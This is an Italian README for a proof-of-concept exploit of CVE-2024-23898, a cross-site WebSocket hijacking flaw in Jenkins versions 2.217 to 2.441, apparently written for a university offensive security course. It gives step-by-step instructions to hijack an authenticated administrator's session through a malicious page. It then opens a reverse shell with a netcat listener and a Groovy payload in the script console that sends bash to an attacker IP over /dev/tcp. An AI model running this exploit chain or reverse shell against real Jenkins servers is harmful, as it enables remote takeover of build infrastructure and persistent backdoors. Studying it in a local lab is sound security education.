Dirottamento WebSocket della CLI di Jenkins - PoC
Un exploit proof-of-concept di dirottamento WebSocket cross-site per CVE-2024-23898 — una vulnerabilità che interessa le versioni di Jenkins 2.217-2.441.
Questo exploit prende di mira la CLI di Jenkins, che può essere utilizzata per accedere e impartire comandi a un server di controllo Jenkins da remoto. Tramite questo exploit, un attaccante remoto può ottenere l'accesso e stabilire una backdoor persistente su un server di controllo Jenkins se un amministratore viene indotto a visitare un sito dannoso mentre è autenticato nel server di controllo Jenkins di destinazione.
DICHIARAZIONE DI ESCLUSIONE DI RESPONSABILITÀ
Questo codice è inteso esclusivamente a scopo educativo e per l'uso esclusivo del corso Hacking & Offensive Security presso la Carnegie Mellon University. Questo codice non deve essere utilizzato come arma o altrimenti impiegato per creare malware. Gli autori condannano esplicitamente qualsiasi tentativo di farlo.
Configurazione di Jenkins
- Esegui "docker-compose build && docker-compose up -d"
- Naviga su http://localhost:8080, ti verrà chiesto di inserire una password di amministratore
- Apri una shell nel container docker di Jenkins (NON QUELLO DI POSTGRES)
- "docker exec -it <container_id> bash"
- spostati nella directory elencata sulla pagina di Jenkins e ottieni la password
- Configura un account amministratore di base (ricorda la password) e installa i plugin predefiniti
- Configura gli utenti anonimi con permessi di base andando su Manage Jenkins > Security
- Imposta il tipo di autorizzazione su "Matrix-based"
- Consenti agli utenti anonimi di leggere "Overall" e "Job"
Effettuare il dirottamento WebSocket
- Apri Firefox, vai su Impostazioni > Sicurezza e privacy
- Imposta la privacy del browser su personalizzata, disattiva i cookie (questo fa sì che Firefox permetta tutti i cookie)
- Vai su Jenkins, effettua l'accesso come amministratore, assicurandoti di cliccare su "Keep me signed in"
- Avvia evilApp.py, visitando http://localhost:5000
- Vai su Rete e premi Aggiorna
- Clicca sul pacchetto con file "ws" e vai su Risposta, dovresti vedere che dice "Authenticated as: admin"
- Puoi anche controllare "Cookies" per vedere il cookie remember-me
Esecuzione di una reverse shell
- Nel terminale della tua macchina, avvia un listener netcat con
nc -l <port_num> (sostituisci <port_num> con un numero di porta inutilizzato)
- Devi ottenere l'indirizzo IP del tuo computer come visto da Docker. Su Mac puoi trovarlo con il comando
ipconfig getifaddr en0
- Supponendo che il tuo server Jenkins sia in esecuzione, vai su
[http://localhost:8080/script](http://localhost:8080/script). Accedi con l'account amministratore se non lo hai già fatto.
- Incolla ed esegui questo payload nella console di script Groovy:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- Torna al terminale con il listener netcat. Dovresti essere nel filesystem del server Jenkins e in grado di fare tutto ciò che l'utente amministratore può fare.